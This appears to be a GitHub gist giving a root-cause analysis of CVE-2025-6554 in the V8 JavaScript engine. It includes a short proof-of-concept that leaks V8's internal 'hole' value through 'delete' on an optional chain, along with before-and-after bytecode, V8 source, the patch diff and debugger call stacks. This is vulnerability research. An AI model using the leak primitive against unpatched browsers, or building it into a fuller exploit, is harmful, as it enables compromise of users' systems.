Last active
July 17, 2025 06:52
-
-
Save mistymntncop/37c652c2bf7373b4aa33bb50f52ee0f2 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function leak_hole() { | |
let x; | |
delete x?.[y]?.a; | |
return y; | |
let y; | |
} | |
function pwn() { | |
let hole = leak_hole(); | |
%DebugPrint(hole); | |
} | |
pwn(); | |
/* | |
POC BY DARKNAVY!!! | |
https://github.com/DarkNavySecurity/PoC/blob/main/CVE-2025-6554/poc.js | |
c:\path\to\v8\out\x64.debug\d8 --allow-natives-syntax --print-bytecode poc.js | |
BEFORE PATCH: | |
[generated bytecode for function: leak_hole (0x03e400063e35 <SharedFunctionInfo leak_hole>)] | |
Bytecode length: 29 | |
Parameter count 1 | |
Register count 3 | |
Frame size 24 | |
0x32600100128 @ 0 : 10 LdaTheHole | |
0x32600100129 @ 1 : cf Star1 | |
0x3260010012a @ 2 : 0e LdaUndefined | |
0x3260010012b @ 3 : d0 Star0 | |
0x3260010012c @ 4 : 1b f9 f7 Mov r0, r2 | |
0x3260010012f @ 7 : aa 12 JumpIfUndefinedOrNull [18] (0x32600100141 @ 25) | |
0x32600100131 @ 9 : 0b f8 Ldar r1 | |
0x32600100133 @ 11 : b6 00 ThrowReferenceErrorIfHole [0] | |
0x32600100135 @ 13 : 35 f7 00 GetKeyedProperty r2, [0] | |
0x32600100138 @ 16 : aa 09 JumpIfUndefinedOrNull [9] (0x32600100141 @ 25) | |
0x3260010013a @ 18 : ce Star2 | |
0x3260010013b @ 19 : 13 01 LdaConstant [1] | |
0x3260010013d @ 21 : 60 f7 DeletePropertySloppy r2 | |
0x3260010013f @ 23 : 95 03 Jump [3] (0x32600100142 @ 26) | |
0x32600100141 @ 25 : 11 LdaTrue | |
0x32600100142 @ 26 : 0b f8 Ldar r1 | |
0x32600100144 @ 28 : b5 Return | |
Constant pool (size = 2) | |
0x14e001000f1: [TrustedFixedArray] | |
- map: 0x026900000605 <Map(TRUSTED_FIXED_ARRAY_TYPE)> | |
- length: 2 | |
0: 0x026900003609 <String[1]: #y> | |
1: 0x026900003489 <String[1]: #a> | |
AFTER PATCH: | |
[generated bytecode for function: leak_hole (0x033900063e35 <SharedFunctionInfo leak_hole>)] | |
Bytecode length: 31 | |
Parameter count 1 | |
Register count 3 | |
Frame size 24 | |
0x29f00100128 @ 0 : 10 LdaTheHole | |
0x29f00100129 @ 1 : cf Star1 | |
32 S> 0x29f0010012a @ 2 : 0e LdaUndefined | |
0x29f0010012b @ 3 : d0 Star0 | |
40 S> 0x29f0010012c @ 4 : 1b f9 f7 Mov r0, r2 | |
0x29f0010012f @ 7 : aa 12 JumpIfUndefinedOrNull [18] (0x29f00100141 @ 25) | |
0x29f00100131 @ 9 : 0b f8 Ldar r1 | |
51 E> 0x29f00100133 @ 11 : b6 00 ThrowReferenceErrorIfHole [0] | |
50 E> 0x29f00100135 @ 13 : 35 f7 00 GetKeyedProperty r2, [0] | |
0x29f00100138 @ 16 : aa 09 JumpIfUndefinedOrNull [9] (0x29f00100141 @ 25) | |
0x29f0010013a @ 18 : ce Star2 | |
0x29f0010013b @ 19 : 13 01 LdaConstant [1] | |
0x29f0010013d @ 21 : 60 f7 DeletePropertySloppy r2 | |
0x29f0010013f @ 23 : 95 03 Jump [3] (0x29f00100142 @ 26) | |
0x29f00100141 @ 25 : 11 LdaTrue | |
63 S> 0x29f00100142 @ 26 : 0b f8 Ldar r1 | |
0x29f00100144 @ 28 : b6 00 ThrowReferenceErrorIfHole [0] | |
72 S> 0x29f00100146 @ 30 : b5 Return | |
Constant pool (size = 2) | |
0x14e001000f1: [TrustedFixedArray] | |
- map: 0x026900000605 <Map(TRUSTED_FIXED_ARRAY_TYPE)> | |
- length: 2 | |
0: 0x026900003609 <String[1]: #y> | |
1: 0x026900003489 <String[1]: #a> | |
Comparing the bytecode for the "leak_hole" function we see that after the patch an extra "ThrowReferenceErrorIfHole" | |
instruction has been emitted for the return value (stored in accumulator register). | |
The BytecodeGenerator class contains a field called "hole_check_bitmap_" which is used to record which variables | |
have already been checked for the hole value. | |
``` | |
// Variables for which hole checks have been emitted in the current basic | |
// block. Managed by HoleCheckElisionScope and HoleCheckElisionMergeScope. | |
Variable::HoleCheckBitmap hole_check_bitmap_; | |
``` | |
https://github.com/v8/v8/blob/47c9ee633a84c0f9b990dee0b9f288e03cbcf495/src/interpreter/bytecode-generator.h#L651 | |
The "hole_check_bitmap_" field is used by the "RememberHoleCheckInCurrentBlock" and "VariableNeedsHoleCheckInCurrentBlock" | |
functions. These functions are used to record and check that a variable has been checked for the hole value. | |
``` | |
void BytecodeGenerator::RememberHoleCheckInCurrentBlock(Variable* variable) { | |
if (!v8_flags.ignition_elide_redundant_tdz_checks) return; | |
// The first N-1 variables that need hole checks may be cached in a bitmap to | |
// elide subsequent hole checks in the same basic block, where N is | |
// Variable::kHoleCheckBitmapBits. | |
// | |
// This numbering is done during bytecode generation instead of scope analysis | |
// for 2 reasons: | |
// | |
// 1. There may be multiple eagerly compiled inner functions during a single | |
// run of scope analysis, so a global numbering will result in fewer variables | |
// with cacheable hole checks. | |
// | |
// 2. Compiler::CollectSourcePositions reparses functions and checks that the | |
// recompiled bytecode is identical. Therefore the numbering must be kept | |
// identical regardless of whether a function is eagerly compiled as part of | |
// an outer compilation or recompiled during source position collection. The | |
// simplest way to guarantee identical numbering is to scope it to the | |
// compilation instead of scope analysis. | |
variable->RememberHoleCheckInBitmap(hole_check_bitmap_, | |
vars_in_hole_check_bitmap_); | |
} | |
``` | |
https://github.com/v8/v8/blob/47c9ee633a84c0f9b990dee0b9f288e03cbcf495/src/interpreter/bytecode-generator.cc#L4660 | |
``` | |
bool BytecodeGenerator::VariableNeedsHoleCheckInCurrentBlock( | |
Variable* variable, HoleCheckMode hole_check_mode) { | |
return hole_check_mode == HoleCheckMode::kRequired && | |
!variable->HasRememberedHoleCheck(hole_check_bitmap_); | |
} | |
``` | |
https://github.com/v8/v8/blob/47c9ee633a84c0f9b990dee0b9f288e03cbcf495/src/interpreter/bytecode-generator.cc#L4694 | |
"RememberHoleCheckInCurrentBlock" is used by "BuildThrowIfHole" which emits the "ThrowReferenceErrorIfHole" instruction. | |
``` | |
void BytecodeGenerator::BuildThrowIfHole(Variable* variable) { | |
if (variable->is_this()) { | |
DCHECK(variable->mode() == VariableMode::kConst); | |
builder()->ThrowSuperNotCalledIfHole(); | |
} else { | |
builder()->ThrowReferenceErrorIfHole(variable->raw_name()); | |
} | |
RememberHoleCheckInCurrentBlock(variable); | |
} | |
``` | |
https://github.com/v8/v8/blob/47c9ee633a84c0f9b990dee0b9f288e03cbcf495/src/interpreter/bytecode-generator.cc#L4684 | |
The "HoleCheckElisionScope" allows you to restrict modifications/uses of the BytecodeGenerator's "hole_check_bitmap_" to a scope. | |
When a HoleCheckElisionScope is opened it saves the BytecodeGenerator's old "hole_check_bitmap_" state and when it is closed it | |
restores the old "hole_check_bitmap_" state. So calls to "RememberHoleCheckInCurrentBlock" and "VariableNeedsHoleCheckInCurrentBlock" | |
will be operating on a version of the "hole_check_bitmap_" state that exists within that scope and does not escape it. | |
``` | |
// Scoped class to help elide hole checks within a conditionally executed basic | |
// block. Each conditionally executed basic block must have a scope to emit | |
// hole checks correctly. | |
// | |
// The duration of the scope must correspond to a basic block. Numbered | |
// Variables (see Variable::HoleCheckBitmap) are remembered in the bitmap when | |
// the first hole check is emitted. Subsequent hole checks are elided. | |
// | |
// On scope exit, the hole check state at construction time is restored. | |
class V8_NODISCARD BytecodeGenerator::HoleCheckElisionScope { | |
public: | |
explicit HoleCheckElisionScope(BytecodeGenerator* bytecode_generator) | |
: HoleCheckElisionScope(&bytecode_generator->hole_check_bitmap_) {} | |
~HoleCheckElisionScope() { *bitmap_ = prev_bitmap_value_; } | |
protected: | |
explicit HoleCheckElisionScope(Variable::HoleCheckBitmap* bitmap) | |
: bitmap_(bitmap), prev_bitmap_value_(*bitmap) {} | |
Variable::HoleCheckBitmap* bitmap_; | |
Variable::HoleCheckBitmap prev_bitmap_value_; | |
}; | |
``` | |
https://github.com/v8/v8/blob/47c9ee633a84c0f9b990dee0b9f288e03cbcf495/src/interpreter/bytecode-generator.cc#L1115 | |
The Patch moves the "HoleCheckElisionScope" into the "OptionalChainNullLabelScope" class. So now whenever a | |
"OptionalChainNullLabelScope" is opened a "HoleCheckElisionScope" will be opened too. | |
``` | |
public: | |
explicit OptionalChainNullLabelScope(BytecodeGenerator* bytecode_generator) | |
: bytecode_generator_(bytecode_generator), | |
- labels_(bytecode_generator->zone()) { | |
+ labels_(bytecode_generator->zone()), | |
+ hole_check_scope_(bytecode_generator) { | |
prev_ = bytecode_generator_->optional_chaining_null_labels_; | |
bytecode_generator_->optional_chaining_null_labels_ = &labels_; | |
} | |
... | |
BytecodeGenerator* bytecode_generator_; | |
BytecodeLabels labels_; | |
BytecodeLabels* prev_; | |
+ // Use the same scope for the entire optional chain, as links earlier in the | |
+ // chain dominate later links, linearly. | |
+ HoleCheckElisionScope hole_check_scope_; | |
}; | |
... | |
void BytecodeGenerator::BuildOptionalChain(ExpressionFunc expression_func) { | |
BytecodeLabel done; | |
OptionalChainNullLabelScope label_scope(this); | |
- // Use the same scope for the entire optional chain, as links earlier in the | |
- // chain dominate later links, linearly. | |
- HoleCheckElisionScope elider(this); | |
expression_func(); | |
builder()->Jump(&done); | |
label_scope.labels()->Bind(builder()); | |
``` | |
This doesn't seem to affect the behaviour for "BuildOptionalChain" as it already has opened a "HoleCheckElisionScope". | |
But if we search for other uses of "OptionalChainNullLabelScope" we find it is also used in "VisitDelete". | |
Noticeably there is no use of "HoleCheckElisionScope" in "VisitDelete" so any calls to "RememberHoleCheckInCurrentBlock" | |
will modify the current version of the "hole_check_bitmap_" state. Meaning that any modifications to the "hole_check_bitmap_" | |
state will be visible outside of "VisitDelete". | |
``` | |
void BytecodeGenerator::VisitDelete(UnaryOperation* unary) { | |
Expression* expr = unary->expression(); | |
if (expr->IsProperty()) { | |
... | |
} else if (expr->IsOptionalChain()) { | |
Expression* expr_inner = expr->AsOptionalChain()->expression(); | |
if (expr_inner->IsProperty()) { | |
Property* property = expr_inner->AsProperty(); | |
DCHECK(!property->IsPrivateReference()); | |
BytecodeLabel done; | |
OptionalChainNullLabelScope label_scope(this); | |
VisitForAccumulatorValue(property->obj()); | |
if (property->is_optional_chain_link()) { | |
int right_range = AllocateBlockCoverageSlotIfEnabled( | |
property, SourceRangeKind::kRight); | |
builder()->JumpIfUndefinedOrNull(label_scope.labels()->New()); | |
BuildIncrementBlockCoverageCounterIfEnabled(right_range); | |
} | |
Register object = register_allocator()->NewRegister(); | |
builder()->StoreAccumulatorInRegister(object); | |
if (property->is_optional_chain_link()) { | |
VisitInHoleCheckElisionScopeForAccumulatorValue(property->key()); | |
} else { | |
VisitForAccumulatorValue(property->key()); | |
} | |
builder()->Delete(object, language_mode()); | |
builder()->Jump(&done); | |
label_scope.labels()->Bind(builder()); | |
builder()->LoadTrue(); | |
builder()->Bind(&done); | |
} else { | |
VisitForEffect(expr); | |
builder()->LoadTrue(); | |
} | |
} else if (expr->IsVariableProxy() && | |
!expr->AsVariableProxy()->is_new_target()) { | |
... | |
} else { | |
... | |
} | |
} | |
``` | |
https://github.com/v8/v8/blob/47c9ee633a84c0f9b990dee0b9f288e03cbcf495/src/interpreter/bytecode-generator.cc#L7083 | |
For the patched version if we place a breakpoint inside the "BytecodeGenerator::BuildThrowIfHole" function we can observe the | |
callstacks of where the "ThrowReferenceErrorIfHole" instruction is being emitted. | |
BytecodeGenerator::BuildThrowIfHole(Variable *) | |
BytecodeGenerator::BuildVariableLoad(Variable *, HoleCheckMode, TypeofMode) | |
BytecodeGenerator::VisitVariableProxy(VariableProxy *) | |
BytecodeGenerator::VisitNoStackOverflowCheck(AstNode *) | |
BytecodeGenerator::Visit(AstNode *) | |
BytecodeGenerator::VisitForAccumulatorValueImpl(Expression *, ValueResultScope *) | |
BytecodeGenerator::VisitForAccumulatorValueAsPropertyKey(Expression *) | |
BytecodeGenerator::VisitPropertyLoad(interpreter::Register, Property *) | |
BytecodeGenerator::VisitProperty(Property *) | |
BytecodeGenerator::VisitNoStackOverflowCheck(AstNode *) | |
BytecodeGenerator::Visit(AstNode *) | |
BytecodeGenerator::VisitForAccumulatorValueImpl(Expression *, ValueResultScope *) | |
BytecodeGenerator::VisitForAccumulatorValue(Expression *) | |
BytecodeGenerator::VisitDelete(UnaryOperation *) | |
BytecodeGenerator::VisitUnaryOperation(UnaryOperation *) | |
BytecodeGenerator::VisitNoStackOverflowCheck(AstNode *) | |
BytecodeGenerator::Visit(AstNode *) | |
BytecodeGenerator::VisitForEffect(Expression *) | |
BytecodeGenerator::VisitExpressionStatement(ExpressionStatement *) | |
BytecodeGenerator::VisitNoStackOverflowCheck(AstNode *) | |
BytecodeGenerator::Visit(AstNode *) | |
BytecodeGenerator::VisitStatements(ZoneList<Statement *> const *, int32) | |
BytecodeGenerator::GenerateBodyStatementsWithoutImplicitFinalReturn(int32) | |
BytecodeGenerator::GenerateBodyStatements(int32) | |
BytecodeGenerator::GenerateBytecodeBody(void) | |
BytecodeGenerator::GenerateBytecode(unsigned long long) | |
We see that the first call to "BuildThrowIfHole" is initiated by the "VisitDelete" function when it calls the first "VisitForAccumulatorValue". | |
This corresponds with the 1st "ThrowReferenceErrorIfHole" instruction in the patched "leak_hole". | |
BytecodeGenerator::BuildThrowIfHole(Variable *) | |
BytecodeGenerator::BuildVariableLoad(Variable *, HoleCheckMode, TypeofMode) | |
BytecodeGenerator::VisitVariableProxy(VariableProxy *) | |
BytecodeGenerator::VisitNoStackOverflowCheck(AstNode *) | |
BytecodeGenerator::Visit(AstNode *) | |
BytecodeGenerator::VisitForAccumulatorValueImpl(Expression *, interpreter::BytecodeGenerator::ValueResultScope *) | |
BytecodeGenerator::VisitForAccumulatorValue(Expression *) | |
BytecodeGenerator::VisitReturnStatement(ReturnStatement *) | |
BytecodeGenerator::VisitNoStackOverflowCheck(AstNode *) | |
BytecodeGenerator::Visit(AstNode *) | |
BytecodeGenerator::VisitStatements(ZoneList<Statement *> const *, int32) | |
BytecodeGenerator::GenerateBodyStatementsWithoutImplicitFinalReturn(int32) | |
BytecodeGenerator::GenerateBodyStatements(int32) | |
BytecodeGenerator::GenerateBytecodeBody(void) | |
BytecodeGenerator::GenerateBytecode(unsigned long long) | |
The second call to "BuildThrowIfHole" is initiated by the "VisitReturnStatement" function. This corresponds with the 2nd | |
"ThrowReferenceErrorIfHole" instruction in the patched "leak_hole". Looking at the "BuildVariableLoad" function we see | |
that it calls "VariableNeedsHoleCheckInCurrentBlock" to decide whether "BuildThrowIfHole" should be called. | |
``` | |
void BytecodeGenerator::VisitReturnStatement(ReturnStatement* stmt) { | |
AllocateBlockCoverageSlotIfEnabled(stmt, SourceRangeKind::kContinuation); | |
builder()->SetStatementPosition(stmt); | |
VisitForAccumulatorValue(stmt->expression()); | |
int return_position = stmt->end_position(); | |
if (return_position == ReturnStatement::kFunctionLiteralReturnPosition) { | |
return_position = info()->literal()->return_position(); | |
} | |
if (stmt->is_async_return()) { | |
execution_control()->AsyncReturnAccumulator(return_position); | |
} else { | |
execution_control()->ReturnAccumulator(return_position); | |
} | |
} | |
``` | |
https://github.com/v8/v8/blob/47c9ee633a84c0f9b990dee0b9f288e03cbcf495/src/interpreter/bytecode-generator.cc#L2346 | |
``` | |
void BytecodeGenerator::BuildVariableLoad(Variable* variable, | |
HoleCheckMode hole_check_mode, | |
TypeofMode typeof_mode) { | |
switch (variable->location()) { | |
case VariableLocation::LOCAL: { | |
Register source(builder()->Local(variable->index())); | |
// We need to load the variable into the accumulator, even when in a | |
// VisitForRegisterScope, in order to avoid register aliasing if | |
// subsequent expressions assign to the same variable. | |
builder()->LoadAccumulatorWithRegister(source); | |
if (VariableNeedsHoleCheckInCurrentBlock(variable, hole_check_mode)) { | |
BuildThrowIfHole(variable); | |
} | |
break; | |
} | |
... | |
``` | |
https://github.com/v8/v8/blob/47c9ee633a84c0f9b990dee0b9f288e03cbcf495/src/interpreter/bytecode-generator.cc#L4483 | |
In the unpatched version "VariableNeedsHoleCheckInCurrentBlock" will return false because the call to "RememberHoleCheckInCurrentBlock" during | |
"VisitDelete" has recorded that the variable "y" has already been hole checked. This prevents the 2nd "ThrowReferenceErrorIfHole" from being emmited. | |
0 LdaTheHole <-- load hole value into accumulator | initialize var 'y' with hole | |
1 Star1 <-- store accumulator into r1 _| | |
2 LdaUndefined <-- load undefined value into accumulator | | |
3 Star0 <-- store accumulator into r0 | initialize var 'x' with undefined | |
4 Mov r0, r2 <-- move r0 into r2 _| | |
7 JumpIfUndefinedOrNull [18] (0x29f00100141 @ 25) <-- if accumulator is undefined or null | guard var 'x' against being undefined/null. | |
then jump to 25 _| corresponds with optional chaining - x?. | |
9 Ldar r1 <-- load r1 into accumulator | guard var 'y' against being the hole. | |
11 ThrowReferenceErrorIfHole [0] <-- throw reference error if accumulator | throw a ReferenceError if it is. | |
equals hole value _| | |
13 GetKeyedProperty r2, [0] <-- get keyed property from object in r2 | access property 'y' from object 'x'. | |
using the accumulator value as key | corresponds with - x?.[y] | |
and store result into accumulator _| | |
16 JumpIfUndefinedOrNull [9] (0x29f00100141 @ 25) <-- if accumulator is undefined or null | guard value from previous property against being undefined/null. | |
then jump to 25 _| corresponds with optional chaining - x?.[y]?. | |
18 Star2 <-- store accumulator into r2 | | |
19 LdaConstant [1] <-- load string 'a' from constant pool slot 1 | delete property 'a' from object in - x?.[y] | |
into accumulator | corresponds with - delete x?.[y]?.a; | |
21 DeletePropertySloppy r2 <-- delete a property from object in r2 | | |
using accumulator value as key _| | |
23 Jump [3] (0x29f00100142 @ 26) <-- jump to 26 - everything fine | |
25 LdaTrue <-- load true into accumulator - failure | |
26 Ldar r1 <-- load r1 into accumulator | guard var 'y' against being the hole. | |
28 ThrowReferenceErrorIfHole [0] <-- throw reference error if accumulator | throw a ReferenceError if it is. | |
equals hole value _| | |
30 Return <-- return value in accumulator _| return 'y' value. | |
Because the variable 'x' is unitialized it's value will be set to undefined. The instruction "JumpIfUndefinedOrNull" @ 7 | |
will jump to "LdaTrue" @ 25 skipping the first "ThrowReferenceErrorIfHole" @ 11. In the unpatched version the 2nd | |
"ThrowReferenceErrorIfHole" @ 28 instruction is ommited and the variable 'y' is returned. In this patch version this | |
instruction throws a ReferenceError which prevents us from capturing the hole sentinel value. | |
*/ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment